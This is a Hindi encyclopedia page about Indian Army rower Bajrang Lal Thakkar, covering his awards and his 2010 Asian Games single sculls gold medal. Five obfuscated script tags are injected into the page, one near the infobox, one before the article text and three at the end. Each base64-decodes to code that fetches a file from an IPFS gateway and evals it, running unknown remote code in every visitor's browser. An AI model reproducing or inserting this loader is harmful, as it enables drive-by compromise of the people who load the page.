बजरंग लाल ताखर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
बजरंग लाल ताखर
बजरंग लाल ठक्कर
पूरा नाम बजरंग लाल ठक्कर
जन्म 5 जनवरी, 1981
जन्म भूमि ज़िला सीकर, राजस्थान
कर्म भूमि भारत
खेल-क्षेत्र नौकायन
पुरस्कार-उपाधि पद्म श्री, 2013

अर्जुन पुरस्कार, 2007

प्रसिद्धि भारतीय नौका चालक (रोवर)
नागरिकता भारतीय
सेवा क्षेत्र भारतीय सेना
रैंक नायब सूबेदार, राजपूताना राइफल्स
अद्यतन‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>बजरंग लाल ठक्कर (अंग्रेज़ी: Bajrang Lal Thakkar, जन्म- 5 जनवरी, 1981, ज़िला सीकर, राजस्थान) भारतीय रोवर (नौका चालक) हैं, जिन्होंने ग्वांगझू में आयोजित (नवम्बर, 2010) एशियाई खेलों में भारत के लिए पहला व्यक्तिगत रोइंग स्वर्ण पदक जीता था। बजरंग लाल ठक्कर भारतीय सेना की राजपुताना राइफल्स रेजिमेंट में नायब सूबेदार हैं। वर्ष 2007 में इन्हें अर्जुन पुरस्कार से सम्मानित किया गया।


  • बजरंग लाल ठक्कर ने 16वें एशियाई खेलों की रोइंग प्रतियोगिता में पुरुषों की एकल स्कल्स स्पर्धा में स्वर्ण जीतकर इतिहास रचा था। वह एशियाई खेलों में स्वर्ण जीतने वाले पहले भारतीय रोवर हैं।
  • उन्होंने ग्वाझोंग इंटरनेशनल रोइंग सेंटर में लेन तीन से शुरुआत करते हुए 2000 मीटर रेस में शुरुआत से ही बढ़त बनाए रखी थी और 07 मिनट 4.78 सेकंड का समय निकालते हुए स्वर्ण पदक जीता। इन एशियाई खेलों में भारत का यह दूसरा स्वर्ण पदक था।[1]
  • बजरंग लाल ठक्कर ने जहां एकल स्कल्स में स्वर्ण पदक जीता था, वहीं पुरुषों की 8 रेस स्पर्धा में भारतीय टीम ने रजत पदक जीता जबकि महिलाओं की युगल स्पर्धा में भारत को कांस्य पदक मिला था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. ठक्कर ने भारत को दिलाया नौकायन का पहला स्वर्ण (हिंदी) dainiktribuneonline.com। अभिगमन तिथि: 16 सितम्बर, 2021।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>